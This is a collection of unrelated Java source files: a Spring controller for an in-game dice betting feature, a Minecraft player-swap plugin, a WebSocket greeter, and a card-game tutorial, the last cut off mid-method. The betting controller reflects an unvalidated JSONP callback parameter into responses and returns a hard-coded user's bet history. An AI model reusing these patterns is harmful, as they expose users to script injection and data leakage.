import org.springframework.stereotype.Service;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.*;
/**
* Created by dlf on 2015/12/31.
*/
@Controller
@RequestMapping("/gchang")
public class GcController {
public static Integer num=null;
public static long t_date;
public static Integer totalsumyin=0;
public static Integer totalsumjin=0;
public static YlDaXiao ydx =new YlDaXiao();
public static long times;
@Autowired
RoleMapper rm;
@Autowired
RoleFriendsMsgMapper rfmm;
@Autowired
YlDaXiaoMapper ydxm;
@Autowired
YlDxXqMapper ydxqm;
private Logger logger = LoggerFactory.getLogger(getClass());
@RequestMapping(value = "/gc", method = { RequestMethod.GET, RequestMethod.POST })
public String gc()throws Exception {
return "广场/广场";
}
@RequestMapping(value = "/yingjia", method = { RequestMethod.GET, RequestMethod.POST })
public String yingjia(Model model)throws Exception {
List<YlDxXq> liy=ydxqm.TenWinRole(num-1);
List<YlDxXq> lij=ydxqm.TenWinRoleJ(num-1);
model.addAttribute("liy",liy);
model.addAttribute("lij",lij);
return "广场/赢家";
}
@RequestMapping(value = "/appyingjia", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String appyingjia(HttpServletRequest request,HttpServletResponse response)throws Exception {
List<YlDxXq> liy=ydxqm.TenWinRole(num-1);
List<YlDxXq> lij=ydxqm.TenWinRoleJ(num-1);
response.setCharacterEncoding("utf-8");
response.setContentType("text/plain");
response.setHeader("Pragma", "No-cache");
response.setHeader("Cache-Control", "no-cache");
response.setDateHeader("Expires", 0);
PrintWriter out=response.getWriter();
JSONObject obj = new JSONObject(); //根据需要拼装json
obj.put("liy",liy);
obj.put("lij",lij);
String jsonpCallback = request.getParameter("jsonpCallback");//客户端请求参数
out.println(jsonpCallback+"("+obj.toString()+")");//返回jsonp格式数据
out.flush();
out.close();
return null;
}
@RequestMapping(value = "/moneypm", method = { RequestMethod.GET, RequestMethod.POST })
public String moneypm(Model model)throws Exception {
List<YlDxXq> liy=ydxqm.winyinbang();
model.addAttribute("liy",liy);
return "广场/赚钱排行";
}
@RequestMapping(value = "/appmoneypm", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String appmoneypm(HttpServletRequest request,HttpServletResponse response)throws Exception {
List<YlDxXq> liy=ydxqm.winyinbang();
CommonUtilAjax.sendAjaxList("liy",liy,request,response);
return null;
}
@RequestMapping(value = "/lishi", method = { RequestMethod.GET, RequestMethod.POST })
public String lishi(Model model)throws Exception {
List<YlDaXiao> hy=ydxm.getHistory();
if(hy.size()>0){
model.addAttribute("hy",hy);
}
return "广场/历史查询";
}
@RequestMapping(value = "/applishi", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String applishi(HttpServletRequest request,HttpServletResponse response)throws Exception {
List<YlDaXiao> hy=ydxm.getHistory();
if(hy.size()>0){
CommonUtilAjax.sendAjaxList("hy",hy,request,response);
}
return null;
}
@RequestMapping(value = "/touzhu", method = { RequestMethod.GET, RequestMethod.POST })
public String touzhu(Model model,HttpSession session)throws Exception {
List<Role> r =(List<Role>)session.getAttribute("rolelist");//获取session查询角色
Integer roleid=r.get(0).getId();
List<YlDxXq> hy=ydxqm.touzhuhistory(roleid);
if(hy.size()>0){
model.addAttribute("hy",hy);
}
return "广场/投注记录";
}
@RequestMapping(value = "/apptouzhu", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String apptouzhu(HttpServletRequest request,HttpServletResponse response,HttpSession session)throws Exception {
List<Role> r =(List<Role>)session.getAttribute("rolelist");//获取session查询角色
// Integer roleid=r.get(0).getId();
List<YlDxXq> hy=ydxqm.touzhuhistory(1000);
if(hy.size()>0){
CommonUtilAjax.sendAjaxList("hy",hy,request,response);
}
return null;
}
@RequestMapping(value = "/ylc", method = { RequestMethod.GET, RequestMethod.POST })
public String ylc()throws Exception {
System.out.println(num);
System.out.println(t_date);
return "广场/娱乐";
}
@RequestMapping(value = "/shuju", method = { RequestMethod.GET, RequestMethod.POST })
public String shuju()throws Exception {
for(int i=0;i<10000;i++){
int a= (int)Math.round(Math.random()*5+1);
int b= (int)Math.round(Math.random()*5+1);
int c= (int)Math.round(Math.random()*5+1);
YlDaXiao yd=new YlDaXiao();
yd.setNum1(a);
yd.setNum2(b);
yd.setNum3(c);
StringBuffer result=new StringBuffer();
int sum=a+b+c;
if(a==b&&b==c){
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("豹子");
result.append("豹子");
}else {
if (sum >= 4 && sum <= 10) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("小");
result.append("小");
if (sum==5 || sum == 7 || sum == 9 || sum == 11 || sum == 13 || sum == 15 || sum == 17) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("单");
result.append("单");
}
if (sum == 4 || sum == 6 || sum == 8 || sum == 10 || sum == 12 || sum == 14 || sum == 16) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("双");
result.append("双");
}
}
if (sum >= 11 && sum <= 17) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("大");
result.append("大");
if (sum == 5 || sum == 7 || sum == 9 || sum == 11 || sum == 13 || sum == 15 || sum == 17) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("单");
result.append("单");
}
if (sum == 4 || sum == 6 || sum == 8 || sum == 10 || sum == 12 || sum == 14 || sum == 16) {
System.out.print(a);
System.out.print(b);
System.out.print(c);
System.out.print("双");
result.append("双");
}
}
}
yd.setResult(result.toString());
ydxm.insertSelective(yd);
}
return null;
}
@RequestMapping(value = "/ddx", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public synchronized String ddx(YlDxXq yq,Model model,HttpSession session,HttpServletResponse response)throws Exception {
List<Role> r =(List<Role>)session.getAttribute("rolelist");//获取session查询角色
String rolename=r.get(0).getJuesename();
Integer roleid=r.get(0).getId();
Integer roletotalyin=ydxqm.YanZhiByYin(roleid);
Integer roletotaljin=ydxqm.YanZhiByJin(roleid);
if(roletotalyin==null){
roletotalyin=0;
}
if(roletotaljin==null){
roletotaljin=0;
}
if(yq.getJin()==null){
yq.setJin(0);
}
if(yq.getYin()==null){
yq.setYin(0);
}
if(yq.getYin()>200000){
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","输入的银两单次不能超过20万");
out.write(obj.toString());
out.flush();
out.close();
}else{
Integer one=roletotalyin+yq.getYin();
Integer two=roletotaljin+yq.getJin();
if(one<300000&&two<1000){//限制押银金的最大数量
yq.setRolename(rolename);
yq.setRoleid(roleid);
yq.setNum(num);
yq.setData(new Date());
Integer inputYin=0;
Integer inputJin=0;
Role re=rm.selectByPrimaryKey(roleid);
Integer roleYin=re.getYin();
Integer roleJin=re.getJin();
if(yq.getYin()!=null&&!"".equals(yq.getYin())){
inputYin=yq.getYin();
}else{
inputYin=0;
}
if(yq.getJin()!=null&&!"".equals(yq.getJin())){
inputJin=yq.getJin();
}else{
inputJin=0 ;
}
if(roleYin>=inputYin&&inputYin!=0){
re.setYin(roleYin-inputYin);
rm.updateByPrimaryKeySelective(re);
ydxqm.insertSelective(yq);
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","本期你押了"+yq.getResult()+yq.getYin()+"两。祝你好运");
out.write(obj.toString());
out.flush();
out.close();
}
if(roleYin<inputYin){
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","余额不足!");
out.write(obj.toString());
out.flush();
out.close();
}
if(roleJin>=inputJin&&inputJin!=0){
re.setJin(roleJin-inputJin);
rm.updateByPrimaryKeySelective(re);
ydxqm.insertSelective(yq);
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","本期你押了"+yq.getResult()+yq.getJin()+"金。祝你好运");
out.write(obj.toString());
out.flush();
out.close();
}
if(roleJin<inputJin){
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","余额不足!");
out.write(obj.toString());
out.flush();
out.close();
}
}else{
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("msg","押的总数不能超过白银30万,白金1000两");
out.write(obj.toString());
out.flush();
out.close();
}
}
return null;
}
@RequestMapping(value = "/appddx", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public synchronized String appddx(HttpServletRequest request,YlDxXq yq,HttpSession session,HttpServletResponse response)throws Exception {
List<Role> r =(List<Role>)session.getAttribute("rolelist");//获取session查询角色
String rolename=r.get(0).getJuesename();
Integer roleid=r.get(0).getId();
Integer roletotalyin=ydxqm.YanZhiByYin(roleid);
Integer roletotaljin=ydxqm.YanZhiByJin(roleid);
if(roletotalyin==null){
roletotalyin=0;
}
if(roletotaljin==null){
roletotaljin=0;
}
if(yq.getJin()==null){
yq.setJin(0);
}
if(yq.getYin()==null){
yq.setYin(0);
}
if(yq.getYin()>200000){
CommonUtilAjax.sendAjaxList("msg","输入的银两单次不能超过20万",request,response);
}else{
Integer one=roletotalyin+yq.getYin();
Integer two=roletotaljin+yq.getJin();
if(one<300000&&two<1000){//限制押银金的最大数量
yq.setRolename(rolename);
yq.setRoleid(roleid);
yq.setNum(num);
yq.setData(new Date());
Integer inputYin=0;
Integer inputJin=0;
Role re=rm.selectByPrimaryKey(roleid);
Integer roleYin=re.getYin();
Integer roleJin=re.getJin();
if(yq.getYin()!=null&&!"".equals(yq.getYin())){
inputYin=yq.getYin();
}else{
inputYin=0;
}
if(yq.getJin()!=null&&!"".equals(yq.getJin())){
inputJin=yq.getJin();
}else{
inputJin=0 ;
}
if(roleYin>=inputYin&&inputYin!=0){
re.setYin(roleYin-inputYin);
rm.updateByPrimaryKeySelective(re);
ydxqm.insertSelective(yq);
CommonUtilAjax.sendAjaxList("msg","本期你押了"+yq.getResult()+yq.getYin()+"两。祝你好运",request,response);
}
if(roleYin<inputYin){
CommonUtilAjax.sendAjaxList("msg","余额不足!",request,response);
}
if(roleJin>=inputJin&&inputJin!=0){
re.setJin(roleJin-inputJin);
rm.updateByPrimaryKeySelective(re);
ydxqm.insertSelective(yq);
CommonUtilAjax.sendAjaxList("msg","本期你押了"+yq.getResult()+yq.getJin()+"金。祝你好运",request,response);
}
if(roleJin<inputJin){
CommonUtilAjax.sendAjaxList("msg","余额不足!",request,response);
}
}else{
CommonUtilAjax.sendAjaxList("msg","押的总数不能超过白银30万,白金1000两",request,response);
}
}
return null;
}
// @RequestMapping(value = "/init", method = { RequestMethod.GET, RequestMethod.POST })
// @ResponseBody
// public String init()throws Exception {
// Timer timer = new Timer();
// timer.scheduleAtFixedRate(new GcController(),new Date(),1000*60);
// return null;
// }
@RequestMapping(value = "/sxsum", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String sxsum(Model model,HttpServletResponse response)throws Exception {
YlDxXq yq=new YlDxXq();
yq.setNum(num);
yq.setResult("大");
Integer dasum=ydxqm.SumAllByJin(yq);
Integer dasumyin=ydxqm.SumAllByYin(yq);
yq.setResult("小");
Integer xiaosum=ydxqm.SumAllByJin(yq);
Integer xiaosumyin=ydxqm.SumAllByYin(yq);
yq.setResult("单");
Integer dansum=ydxqm.SumAllByJin(yq);
Integer dansumyin=ydxqm.SumAllByYin(yq);
yq.setResult("双");
Integer shuangsum=ydxqm.SumAllByJin(yq);
Integer shuangsumyin=ydxqm.SumAllByYin(yq);
yq.setResult("豹子");
Integer baozisum=ydxqm.SumAllByJin(yq);
Integer baozisumyin=ydxqm.SumAllByYin(yq);
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("dasum",dasum);
obj.put("dasumyin",dasumyin);
obj.put("xiaosum",xiaosum);
obj.put("xiaosumyin",xiaosumyin);
obj.put("dansum",dansum);
obj.put("dansumyin",dansumyin);
obj.put("shuangsum",shuangsum);
obj.put("shuangsumyin",shuangsumyin);
obj.put("baozisum",baozisum);
obj.put("baozisumyin",baozisumyin);
obj.put("totalsumyin",totalsumyin);
obj.put("totalsumjin",totalsumjin);
obj.put("ydxid",ydx.getId());
obj.put("ydxnum1",ydx.getNum1());
obj.put("ydxnum2",ydx.getNum2());
obj.put("ydxnum3",ydx.getNum3());
obj.put("ydxresult",ydx.getResult());
System.out.println(obj.toString());
out.write(obj.toString());
out.flush();
out.close();
return null;
}
@RequestMapping(value = "/appsxsum", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String appsxsum(Model model,HttpServletRequest request,HttpServletResponse response)throws Exception {
YlDxXq yq=new YlDxXq();
yq.setNum(num);
yq.setResult("大");
Integer dasum=ydxqm.SumAllByJin(yq);
Integer dasumyin=ydxqm.SumAllByYin(yq);
yq.setResult("小");
Integer xiaosum=ydxqm.SumAllByJin(yq);
Integer xiaosumyin=ydxqm.SumAllByYin(yq);
yq.setResult("单");
Integer dansum=ydxqm.SumAllByJin(yq);
Integer dansumyin=ydxqm.SumAllByYin(yq);
yq.setResult("双");
Integer shuangsum=ydxqm.SumAllByJin(yq);
Integer shuangsumyin=ydxqm.SumAllByYin(yq);
yq.setResult("豹子");
Integer baozisum=ydxqm.SumAllByJin(yq);
Integer baozisumyin=ydxqm.SumAllByYin(yq);
////////////////
response.setCharacterEncoding("utf-8");
response.setContentType("text/plain");
response.setHeader("Pragma", "No-cache");
response.setHeader("Cache-Control", "no-cache");
response.setDateHeader("Expires", 0);
PrintWriter out=response.getWriter();
JSONObject obj = new JSONObject(); //根据需要拼装json
obj.put("dasum",dasum);
obj.put("dasumyin",dasumyin);
obj.put("xiaosum",xiaosum);
obj.put("xiaosumyin",xiaosumyin);
obj.put("dansum",dansum);
obj.put("dansumyin",dansumyin);
obj.put("shuangsum",shuangsum);
obj.put("shuangsumyin",shuangsumyin);
obj.put("baozisum",baozisum);
obj.put("baozisumyin",baozisumyin);
obj.put("totalsumyin",totalsumyin);
obj.put("totalsumjin",totalsumjin);
obj.put("ydxid",ydx.getId());
obj.put("ydxnum1",ydx.getNum1());
obj.put("ydxnum2",ydx.getNum2());
obj.put("ydxnum3",ydx.getNum3());
obj.put("ydxresult",ydx.getResult());
// System.out.println(obj.toString());
String jsonpCallback = request.getParameter("jsonpCallback");//客户端请求参数
out.println(jsonpCallback+"("+obj.toString()+")");//返回jsonp格式数据
out.flush();
out.close();
///////////////
return null;
}
@RequestMapping(value = "/sxtime", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String sxtime(Model model,HttpServletResponse response)throws Exception {
response.setCharacterEncoding("utf-8");
PrintWriter out=response.getWriter();
JSONObject obj=new JSONObject();//使用json
obj.put("times",times);
//System.out.println(obj.toString());
out.write(obj.toString());
out.flush();
out.close();
return null;
}
@RequestMapping(value = "/appsxtime", method = { RequestMethod.GET, RequestMethod.POST })
@ResponseBody
public String appsxtime(HttpServletRequest request,HttpServletResponse response)throws Exception {
CommonUtilAjax.sendAjaxList("times",times,request,response);
return null;
}
}
| 8431/hxsg | hxsg-web/src/main/java/com/hxsg/gchang/controller/GcController.java |
65,484 | package com.kazuha.de.game;
import com.google.common.collect.Lists;
import com.kazuha.de.DeathThread;
import com.kazuha.de.main;
import com.kazuha.de.papi.papi;
import org.bukkit.*;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.scheduler.BukkitRunnable;
import java.util.*;
import static com.kazuha.de.main.GameState;
public class game {
Long start;
public static Long StartTime;
public static int SwitchTimes = 0;
public game(){
StartTime = System.currentTimeMillis();
GameWatcher.isAlive = Lists.newArrayList(Bukkit.getOnlinePlayers());
start = System.currentTimeMillis();
Objects.requireNonNull(Bukkit.getWorld("world")).setDifficulty(Difficulty.HARD);
GameState = State.PLAYING;
main.playerList = Lists.newArrayList(Bukkit.getOnlinePlayers());
Bukkit.getWorld("world").getWorldBorder().setCenter(new Location(Bukkit.getWorld("world"),0.0,0.0,0.0));
Bukkit.getWorld("world").getWorldBorder().setSize(5000);
//GameDaemon
Thread thread = new Thread(new DeathThread());
thread.start();
List<String> list = main.config.getStringList("start-info");
for(String e : list){
Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&',e));
}
Bukkit.getOnlinePlayers().forEach(Player->Player.getInventory().addItem(new ItemStack(Material.COOKED_BEEF)));
Bukkit.broadcastMessage("§4§l互换将在 §c1分30秒 §4§l后开始 祝你好运 glhf");
papi.Event_msg = "§a准备阶段";
final int[] e = {-160};
final HashMap<Player,Player> Assigned = new HashMap<>();
final List<Player>[] papalist = new List[]{new ArrayList<>()};
final int[] count = {30};
new BukkitRunnable(){
@Override
public void run(){
if(main.GameState!=State.PLAYING){
return;
}
if(e[0] <= (30-count[0])*5-160){
Bukkit.broadcastMessage("§4§l互换 §c将在 §f"+ count[0] + "秒 §c后开始");
count[0]--;
new BukkitRunnable(){
@Override
public void run(){
int ea = 1;
if(main.playerList.size() > 4)ea = main.playerList.size()/4;
int index = new Random().nextInt(ea);
if(index == 0){
index = 1;
}
Long e = System.currentTimeMillis();
papalist[0] = main.playerList;
Random random1 = new Random();
if(papalist[0].size()%2 != 0){
papalist[0].remove(random1.nextInt(papalist[0].size()));
}
while (index > 0){
index--;
if(papalist[0].isEmpty())break;
Player player = papalist[0].get(random1.nextInt(papalist[0].size()));
papalist[0].remove(player);
if(papalist[0].isEmpty())break;
Player player1 = papalist[0].get(random1.nextInt(papalist[0].size()));
papalist[0].remove(player1);
Assigned.put(player1,player);
}
Bukkit.broadcastMessage("§c本次互换位置已加载完成: 将互换§f"+ Assigned.size()*2 + "§c名玩家:" );
StringBuilder xingyunguanzhong = new StringBuilder();
for(Player p : Assigned.keySet()){
xingyunguanzhong.append(p.getName()+", ");
p.sendTitle("§c恭喜!","§7你即将跟随机人类互换");
xingyunguanzhong.append(Assigned.get(p).getName()+", ");
Assigned.get(p).sendTitle("§c恭喜!","§7你即将跟随机人类互换");
}
Bukkit.broadcastMessage(xingyunguanzhong.toString());
Bukkit.broadcastMessage("§c恭喜上面的玩家!请做好准备" );
Bukkit.getServer().getLogger().info("本次互换已经准备完毕 耗时:"+(System.currentTimeMillis() - e) + "ms");
}
}.runTaskAsynchronously(main.instance);
count[0]--;
if(count[0] < 20){
count[0] = 20;
}
e[0] = count[0];
}
if(e[0] == 1){
e[0] -= 2;
papi.Event_msg = "§a即将互换 §f- §c00:00";
Bukkit.broadcastMessage("§c互换已开始!");
Assigned.keySet().forEach(player -> {
Location location = player.getLocation();
player.teleport(Assigned.get(player).getLocation());
Assigned.get(player).teleport(location);
});
Assigned.clear();
for(Player p : main.playerList){
p.setFallDistance(0.0f);
}
SwitchTimes ++;
papi.Event_msg = "§7等待下次互换";
}else{
e[0]--;
if(e[0] > 0){
if(String.valueOf(e[0]).length() < 2){
papi.Event_msg = "§a即将互换 §f- §c00:0"+ e[0];
}else{
papi.Event_msg = "§a即将互换 §f- §c00:"+ e[0];
}
}
return;
}
}
}.runTaskTimer(main.instance,1800, 20);
}
}
| kazuhaAyato/DeathExchange | src/main/java/com/kazuha/de/game/game.java |
65,485 | package com.yc.ycSpringBoot.biz;
import java.io.IOException;
import java.util.Hashtable;
import javax.websocket.OnClose;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.PathParam;
import javax.websocket.server.ServerEndpoint;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
@ServerEndpoint(value = "/websocket/{id}")
@Component
public class MyWebSocket {
//
private static Hashtable<String, Session> webSocketMap=new Hashtable<>();
@OnOpen
public void onOpen(@PathParam("id")String id, Session session) {
System.out.println(id+"已经连接成功!");
webSocketMap.put(id, session);
}
@OnClose
public void onClose(Session session) {
//移除webSocketMap中的会话
}
@OnMessage
public void onMessage(String message, Session session )throws Exception{
//String msg ="a:你好";
String[]ss = message.split(":");
String id=ss[0];
String msg=ss[1];
Session targetSession = webSocketMap.get(id);
if (targetSession !=null) {
targetSession.getBasicRemote().sendText(msg);
}else {
System.out.println(id+"不在线!");
}
}
//每2分钟执行一次
@Scheduled(cron = "0 */2 * * * ?")
public void luckYou() throws IOException {
for(Session session : webSocketMap.values()) {
session.getBasicRemote().sendText("祝你好运!");
}
}
}
| kyywjj/yc-mvn-favorite | yc-SpringBoot/src/main/java/com/yc/ycSpringBoot/biz/MyWebSocket.java |
65,486 | package com.ccd.tljpro;
import com.codename1.components.SpanLabel;
import com.codename1.io.Storage;
import com.codename1.ui.Button;
import com.codename1.ui.ButtonGroup;
import com.codename1.ui.CheckBox;
import com.codename1.ui.Command;
import com.codename1.ui.Component;
import com.codename1.ui.Container;
import com.codename1.ui.Dialog;
import com.codename1.ui.Display;
import com.codename1.ui.DynamicImage;
import com.codename1.ui.FontImage;
import com.codename1.ui.Graphics;
import com.codename1.ui.Label;
import com.codename1.ui.RadioButton;
import com.codename1.ui.events.ActionEvent;
import com.codename1.ui.layouts.BorderLayout;
import com.codename1.ui.layouts.BoxLayout;
import com.codename1.ui.layouts.GridLayout;
import com.codename1.ui.layouts.LayeredLayout;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
*
* @author ccheng
*/
public class Tutor extends Container {
private final TuoLaJiPro main;
Tutor(TuoLaJiPro main) {
this.main = main;
this.setLayout(new LayeredLayout());
}
int currentIndex = 0;
String currentLang = "";
Container index;
List<Topic> topics;
int totalScore = 0;
public void showTopic() {
if (Card.DEBUG_MODE) {
Storage.getInstance().clearStorage();
}
totalScore = Player.parseInteger(Storage.getInstance().readObject("tutor_score"));
if (totalScore < 0) {
totalScore = 0;
}
if (!currentLang.equals(main.lang)) {
if (index != null) {
this.removeAll();
}
currentLang = main.lang;
int idx = 0;
Object sObj = Storage.getInstance().readObject("tutor");
if (sObj != null) idx = Player.parseInteger(sObj);
if (idx < 0) idx = 0;
currentIndex = idx;
topics = allTopics();
index = new Container(BoxLayout.y());
index.setScrollableY(true);
if (currentLang.equals("zh")) {
index.add(TuoLaJiPro.boldText("入门教程"));
} else {
index.add("Before playing games, please finish this tutorial first:");
}
GridLayout layout1 = new GridLayout(2);
layout1.setAutoFit(true);
Container index1 = new Container(layout1);
for (int x = 0; x < basicTopicNum; x++) {
Topic topic = topics.get(x);
if (x > currentIndex) topic.enableButton(false);
index1.add(topic.button);
}
// GridLayout layout2 = new GridLayout(2);
// layout2.setAutoFit(true);
// Container index2 = new Container(layout2);
for (int x = basicTopicNum; x < topics.size(); x++) {
Topic topic = topics.get(x);
if (x > currentIndex) topic.enableButton(false);
index1.add(topic.button);
}
index.add(index1);
// index.add(index2);
this.add(index);
Button bExit = new Button(Dict.get(main.lang, "Exit"));
FontImage.setMaterialIcon(bExit, FontImage.MATERIAL_EXIT_TO_APP);
bExit.setUIID("myExit");
bExit.addActionListener((e) -> {
main.switchScene("entry");
});
this.add(bExit);
LayeredLayout ll = (LayeredLayout) this.getLayout();
ll.setInsets(bExit, "auto 0 0 auto"); //top right bottom left
}
}
int basicTopicNum = 5;
private List<Topic> allTopics() {
int idx = 0;
List<Topic> lst = new ArrayList<>();
lst.add(new Topic(idx++, "point_cards", currentLang.equals("zh") ? "分数牌" : "Point Cards"));
lst.add(new Topic(idx++, "card_rank", currentLang.equals("zh") ? "牌的大小" : "Card Rank"));
lst.add(new Topic(idx++, "trump", currentLang.equals("zh") ? "将牌" : "Trump"));
lst.add(new Topic(idx++, "combination", currentLang.equals("zh") ? "牌型" : "Card Combinations"));
lst.add(new Topic(idx++, "table", currentLang.equals("zh") ? "名词解释" : "Table Layout"));
lst.add(new Topic(idx++, "bid", currentLang.equals("zh") ? "竞叫" : "Bidding"));
lst.add(new Topic(idx++, "exchange", currentLang.equals("zh") ? "扣底" : "Exchange Cards"));
lst.add(new Topic(idx++, "basic", currentLang.equals("zh") ? "基本打法" : "Basic Play"));
basicTopicNum = lst.size();
lst.add(new Topic(idx++, "flop", currentLang.equals("zh") ? "甩牌" : "Flop Play"));
// lst.add(new Topic(idx++, "advanced", "Advanced Play"));
return lst;
}
class Topic {
final String title;
final String id;
final Button button;
final int idx;
Topic(int idx, String id, String title) {
this.idx = idx;
this.id = id;
this.title = title;
this.button = new Button(command());
}
void enableButton(boolean enabled) {
this.button.setEnabled(enabled);
if (enabled && this.idx > currentIndex) {
Storage.getInstance().writeObject("tutor", this.idx);
currentIndex = this.idx;
}
}
Command command() {
return new Command(title) {
@Override
public void actionPerformed(ActionEvent ev) {
showContent();
}
};
}
Label lbScore;
float initScore = 0f;
float unitScore = 0f;
boolean scored = false;
void showContent() {
Dialog dlg = new Dialog(new BorderLayout());
Command okCmd = new Command(Dict.get(currentLang, "Done")) {
@Override
public void actionPerformed(ActionEvent e) {
dlg.dispose();
}
};
Button btnNext = new Button(Dict.get(currentLang, "Next"));
btnNext.setEnabled(false);
btnNext.addActionListener((e) -> {
dlg.dispose();
Topic nextTopic = topics.get(idx + 1);
nextTopic.enableButton(true);
nextTopic.showContent();
});
lbScore = new Label(Dict.get(currentLang, "Score") + ": " + totalScore);
if (idx < topics.size() - 1) {
dlg.add(BorderLayout.SOUTH, BoxLayout.encloseXNoGrow(lbScore, btnNext, new Button(okCmd)));
} else {
// dlg.add(BorderLayout.SOUTH, new Button(okCmd));
Button btnStartOver = new Button(Dict.get(currentLang, "Start Over"));
btnStartOver.addActionListener((e) -> {
dlg.dispose();
Storage.getInstance().writeObject("tutor", 0);
Storage.getInstance().writeObject("tutor_score", 0);
totalScore = 0;
for (Topic tp : topics) {
Storage.getInstance().writeObject(tp.id, null);
tp.enableButton(false);
}
Topic nextTopic = topics.get(0);
nextTopic.enableButton(true);
nextTopic.showContent();
});
dlg.add(BorderLayout.SOUTH, BoxLayout.encloseXNoGrow(lbScore, new Button(okCmd), btnStartOver));
Storage.getInstance().writeObject("fintutor", 1);
main.showPlayButton();
}
int score = Player.parseInteger(Storage.getInstance().readObject(this.id));
scored = score >= 0;
Component content = null;
switch (id) {
case "point_cards":
initScore = 10;
unitScore = 2.5f;
content = topicPointCards(btnNext);
break;
case "card_rank":
initScore = 20;
unitScore = 3.3f;
content = topicCardRank(btnNext);
break;
case "combination":
if (currentLang.equals("zh")) {
initScore = 60;
unitScore = 10.0f;
} else {
initScore = 48;
unitScore = 8.0f;
}
content = topicCombination(btnNext);
break;
case "trump":
initScore = 10;
unitScore = 3.3f;
content = topicTrump(btnNext);
break;
case "table":
if (currentLang.equals("zh")) {
initScore = 0;
scored = true;
} else {
initScore = 12;
unitScore = 4;
}
content = topicTable(btnNext);
break;
case "bid":
content = topicBidding(btnNext);
break;
case "basic":
content = topicBasicPlay(btnNext);
break;
case "exchange":
content = topicExchange(btnNext);
break;
case "flop":
content = topicFlop(btnNext);
break;
case "advanced":
content = topicAdvanced(btnNext);
break;
default:
break;
}
if (content != null) {
dlg.add(BorderLayout.CENTER, content);
}
dlg.show(0, 0, 0, 0);
}
Component topicPointCards(Button btnNext) {
SpanLabel lb0 = new SpanLabel("Point cards are value cards. To win a game, defenders need to earn enough points(money) to beat the contract"
+ "(final points, bid by declarer). Here are the whole point cards in a single deck:");
if (currentLang.equals("zh")) {
lb0 = new SpanLabel("拖拉机由升级演变而来,是抢分的游戏。");
}
Container content = BoxLayout.encloseY(lb0);
content.setScrollableY(true);
if (currentLang.equals("zh")) {
content.setScrollableX(true);
content.add("防守方需要拿满一定的分数来击败庄家,进而升级,否则庄家升级。");
content.add("下面是一副牌中所有的分数牌:");
}
Hand hand = main.getPlayer().getHand();
List<Card> cards = new ArrayList<>();
cards.add(new Card(Card.SPADE, 5));
cards.add(new Card(Card.HEART, 5));
cards.add(new Card(Card.CLUB, 5));
cards.add(new Card(Card.DIAMOND, 5));
cards.add(new Card(Card.SPADE, 10));
cards.add(new Card(Card.HEART, 10));
cards.add(new Card(Card.CLUB, 10));
cards.add(new Card(Card.DIAMOND, 10));
cards.add(new Card(Card.SPADE, 13));
cards.add(new Card(Card.HEART, 13));
cards.add(new Card(Card.CLUB, 13));
cards.add(new Card(Card.DIAMOND, 13));
CardList img = new CardList(cards);
img.scale(hand.displayWidthNormal(cards.size()), hand.cardHeight + 10);
content.add(img);
if (currentLang.equals("zh")) {
content.add("其中每张5计5分,每张10计10分,每张K也是10分");
content.add(" ");
content.add("问题:一副牌共有多少分?");
} else {
content.add("Card 5: 5 points; Card 10: 10 points; Card K: 10 points.");
content.add(" ");
content.add("Quiz: What is the total points in a single deck?");
}
RadioButton rb1 = new RadioButton("40");
RadioButton rb2 = new RadioButton("80");
RadioButton rb3 = new RadioButton("100");
RadioButton rb4 = new RadioButton("150");
RadioButton rb5 = new RadioButton("200");
ButtonGroup btnGroup = new ButtonGroup(rb1, rb2, rb3, rb4, rb5);
content.add(BoxLayout.encloseXNoGrow(rb1, rb2, rb3, rb4, rb5));
btnGroup.addActionListener((e) -> {
if (rb3.isSelected()) {
if (!scored) {
scored = true;
int thisScore = Math.round(this.initScore);
Storage.getInstance().writeObject(this.id, thisScore);
totalScore += thisScore;
lbScore.setText(Dict.get(currentLang, "Score") + ": " + totalScore);
Storage.getInstance().writeObject("tutor_score", totalScore);
}
btnNext.setEnabled(true);
} else {
initScore -= unitScore;
e.getComponent().setEnabled(false);
btnNext.setEnabled(false);
}
});
return content;
}
private Component topicCardRank(Button btnNext) {
